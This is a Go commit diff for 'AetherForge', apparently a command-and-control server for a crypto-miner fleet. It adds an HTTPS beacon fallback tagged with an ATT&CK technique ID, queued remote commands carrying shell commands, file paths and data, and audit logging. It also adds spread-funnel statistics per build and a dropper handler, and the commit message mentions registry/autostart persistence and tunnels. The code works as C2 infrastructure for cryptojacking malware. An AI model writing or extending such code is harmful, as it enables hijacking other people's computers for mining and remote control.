feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
|
||||
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
||||
s := e.settings()
|
||||
if s.EnabledForAlertType(ev.Type) {
|
||||
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
|
||||
NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
|
||||
}
|
||||
if e.broadcast != nil {
|
||||
e.broadcast(ev)
|
||||
|
||||
56
server/internal/alerts/kev_notify.go
Normal file
56
server/internal/alerts/kev_notify.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// kevExposurePayload mirrors agent KEVScanReport JSON.
|
||||
type kevExposurePayload struct {
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
RiskScore int `json:"risk_score"`
|
||||
Summary string `json:"summary"`
|
||||
Findings []struct {
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Severity string `json:"severity"`
|
||||
Detail string `json:"detail"`
|
||||
} `json:"findings"`
|
||||
}
|
||||
|
||||
const EventKEVExposure = "kev_exposure"
|
||||
|
||||
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
|
||||
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
|
||||
if n == nil || strings.TrimSpace(message) == "" {
|
||||
return
|
||||
}
|
||||
var report struct {
|
||||
KEV *kevExposurePayload `json:"kev_exposure"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
|
||||
return
|
||||
}
|
||||
k := report.KEV
|
||||
if k.ExposedCount == 0 && k.CriticalCount == 0 {
|
||||
return
|
||||
}
|
||||
s := n.settings()
|
||||
if !s.Events.KEVExposure {
|
||||
return
|
||||
}
|
||||
body := agentName + ": " + k.Summary
|
||||
if body == agentName+": " {
|
||||
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
|
||||
}
|
||||
for _, f := range k.Findings {
|
||||
if f.Status == "exposed" && f.Severity == "critical" {
|
||||
body += "\n• " + f.CVE + " " + f.Name
|
||||
}
|
||||
}
|
||||
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
|
||||
}
|
||||
18
server/internal/alerts/kev_notify_test.go
Normal file
18
server/internal/alerts/kev_notify_test.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package alerts
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
|
||||
NotifyKEVFromSysCheck(n, "worker-1", msg)
|
||||
}
|
||||
|
||||
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
|
||||
}
|
||||
@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
|
||||
if !n.eventEnabled(s, event) {
|
||||
return
|
||||
}
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
|
||||
return
|
||||
}
|
||||
log.Printf("[Notify] %s: %s", event, body)
|
||||
NotifyAll(s.NotifyConfig, title, body)
|
||||
NotifyAllEvent(s.NotifyConfig, event, title, body)
|
||||
}
|
||||
|
||||
func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
return s.Events.AgentReconnect
|
||||
case EventBuildComplete:
|
||||
return s.Events.BuildComplete
|
||||
case EventKEVExposure:
|
||||
return s.Events.KEVExposure
|
||||
case "offline":
|
||||
return s.Events.AgentOffline
|
||||
case "hashrate_drop":
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
type NotifyConfig struct {
|
||||
TelegramBotToken string
|
||||
TelegramChatID string
|
||||
WebhookURL string
|
||||
EmailEnabled bool
|
||||
SMTPHost string
|
||||
SMTPPort int
|
||||
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
|
||||
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
|
||||
}
|
||||
|
||||
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
|
||||
if cfg.WebhookURL == "" {
|
||||
return nil
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]string{
|
||||
"event": event,
|
||||
"title": subject,
|
||||
"message": text,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode >= 300 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func NotifyAll(cfg NotifyConfig, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
}
|
||||
|
||||
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
|
||||
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
_ = SendWebhook(cfg, event, subject, text)
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ type EventToggles struct {
|
||||
HashrateDrop bool
|
||||
RejectionRate bool
|
||||
BuildComplete bool
|
||||
KEVExposure bool
|
||||
}
|
||||
|
||||
// Settings combines delivery credentials with per-event toggles.
|
||||
|
||||
25
server/internal/api/auth_context.go
Normal file
25
server/internal/api/auth_context.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type contextKey string
|
||||
|
||||
const authUserKey contextKey = "auth_user"
|
||||
|
||||
func withAuthUser(r *http.Request, username string) *http.Request {
|
||||
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
|
||||
}
|
||||
|
||||
// AuthUsername returns the Basic-auth username for the current request, if any.
|
||||
func AuthUsername(r *http.Request) string {
|
||||
if r == nil {
|
||||
return ""
|
||||
}
|
||||
if u, ok := r.Context().Value(authUserKey).(string); ok {
|
||||
return u
|
||||
}
|
||||
return ""
|
||||
}
|
||||
260
server/internal/api/beacon.go
Normal file
260
server/internal/api/beacon.go
Normal file
@@ -0,0 +1,260 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const beaconReachableWindow = 90 * time.Second
|
||||
|
||||
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
||||
type BeaconCommand struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Stats json.RawMessage `json:"stats,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
Worker string `json:"worker_name,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (h *WSHub) initBeaconMaps() {
|
||||
h.beaconMu.Lock()
|
||||
defer h.beaconMu.Unlock()
|
||||
if h.beaconLastSeen == nil {
|
||||
h.beaconLastSeen = make(map[string]time.Time)
|
||||
}
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
||||
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
last, ok := h.beaconLastSeen[agentID]
|
||||
h.beaconMu.Unlock()
|
||||
return ok && time.Since(last) <= beaconReachableWindow
|
||||
}
|
||||
|
||||
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
||||
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
||||
}
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
if v, ok := args["tail_lines"]; ok {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
cmd.TailLines = n
|
||||
case float64:
|
||||
cmd.TailLines = int(n)
|
||||
}
|
||||
}
|
||||
if v, ok := args["command"].(string); ok {
|
||||
cmd.Command = v
|
||||
}
|
||||
if v, ok := args["path"].(string); ok {
|
||||
cmd.Path = v
|
||||
}
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
cmds := h.beaconCmdQueue[agentID]
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if cmds == nil {
|
||||
return []BeaconCommand{}
|
||||
}
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
||||
if h.db == nil || len(statsJSON) == 0 {
|
||||
return
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
||||
return
|
||||
}
|
||||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||||
if sharesBad < 0 {
|
||||
sharesBad = 0
|
||||
}
|
||||
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
"transport": "https_beacon",
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
||||
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
if display == "" {
|
||||
display = agentID
|
||||
}
|
||||
_ = h.db.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: display,
|
||||
Wallet: req.Wallet,
|
||||
Version: req.Version,
|
||||
Status: "online",
|
||||
})
|
||||
}
|
||||
}
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconResultRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" || req.Action == "" {
|
||||
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
payload := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": req.Action,
|
||||
"success": req.Success,
|
||||
"message": req.Message,
|
||||
"transport": "https_beacon",
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
h.notifyCmdCallback(agentID, req.Action, payload)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
for _, cmd := range cmds {
|
||||
args := map[string]interface{}{}
|
||||
if cmd.TailLines > 0 {
|
||||
args["tail_lines"] = cmd.TailLines
|
||||
}
|
||||
if cmd.Command != "" {
|
||||
args["command"] = cmd.Command
|
||||
}
|
||||
if cmd.Path != "" {
|
||||
args["path"] = cmd.Path
|
||||
}
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
114
server/internal/api/beacon_test.go
Normal file
114
server/internal/api/beacon_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-test-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret(secret)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-beacon-1",
|
||||
"stats": map[string]interface{}{
|
||||
"hashrate_15s": 100.0,
|
||||
"hashrate_1m": 100.0,
|
||||
"hashrate_15m": 100.0,
|
||||
},
|
||||
})
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("missing secret: got %d", rec.Code)
|
||||
}
|
||||
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK {
|
||||
t.Fatal("expected ok")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("q-agent")
|
||||
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
|
||||
t.Fatal("enqueue failed")
|
||||
}
|
||||
cmds := hub.dequeueBeaconCommands("q-agent")
|
||||
if len(cmds) != 1 || cmds[0].Action != "pause" {
|
||||
t.Fatalf("commands: %+v", cmds)
|
||||
}
|
||||
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
|
||||
t.Fatal("queue should be empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-cmd-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("cmd-agent")
|
||||
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
|
||||
t.Fatalf("commands: %+v", resp.Commands)
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,8 @@ import (
|
||||
|
||||
// ConfigHandler handles GET/PUT for server configuration settings
|
||||
type ConfigHandler struct {
|
||||
config ConfigProvider
|
||||
config ConfigProvider
|
||||
auditSave func(username string)
|
||||
}
|
||||
|
||||
// ConfigProvider is an interface for the server config so we don't import main package
|
||||
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
|
||||
return &ConfigHandler{config: cp}
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
|
||||
h.auditSave = fn
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.auditSave != nil {
|
||||
h.auditSave(AuthUsername(r))
|
||||
}
|
||||
|
||||
// Return updated config
|
||||
h.getConfig(w, r)
|
||||
}
|
||||
|
||||
@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
args["data"] = req.Data
|
||||
}
|
||||
|
||||
queued := false
|
||||
if id == "all" {
|
||||
if f.ws.connectedAgentCount() == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
}
|
||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||
} else {
|
||||
if !f.ws.isAgentConnected(id) {
|
||||
if !f.ws.IsAgentReachable(id) {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent not connected",
|
||||
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
return
|
||||
}
|
||||
queued = !f.ws.isAgentConnected(id)
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if queued {
|
||||
resp["queued"] = true
|
||||
resp["transport"] = "https_beacon"
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
|
||||
"action": req.Action, "command": req.Command, "path": req.Path,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
|
||||
97
server/internal/api/fleet_ops_handler.go
Normal file
97
server/internal/api/fleet_ops_handler.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.AuditEntry{})
|
||||
return
|
||||
}
|
||||
entries, err := f.db.ListAudit(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if entries == nil {
|
||||
entries = []*models.AuditEntry{}
|
||||
}
|
||||
writeJSON(w, entries)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.FleetTask{})
|
||||
return
|
||||
}
|
||||
tasks, err := f.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if tasks == nil {
|
||||
tasks = []*models.FleetTask{}
|
||||
}
|
||||
writeJSON(w, tasks)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
var t models.FleetTask
|
||||
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if t.Name == "" || t.Action == "" || t.Trigger == "" {
|
||||
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpsertFleetTask(&t); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
|
||||
writeJSON(w, t)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.DeleteFleetTask(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
|
||||
writeJSON(w, map[string]bool{"ok": true})
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
|
||||
return
|
||||
}
|
||||
since := time.Now().Add(-7 * 24 * time.Hour)
|
||||
stats, err := f.db.GetSpreadFunnelStats(since)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, stats)
|
||||
}
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
next.ServeHTTP(w, withAuthUser(r, user))
|
||||
})
|
||||
}
|
||||
|
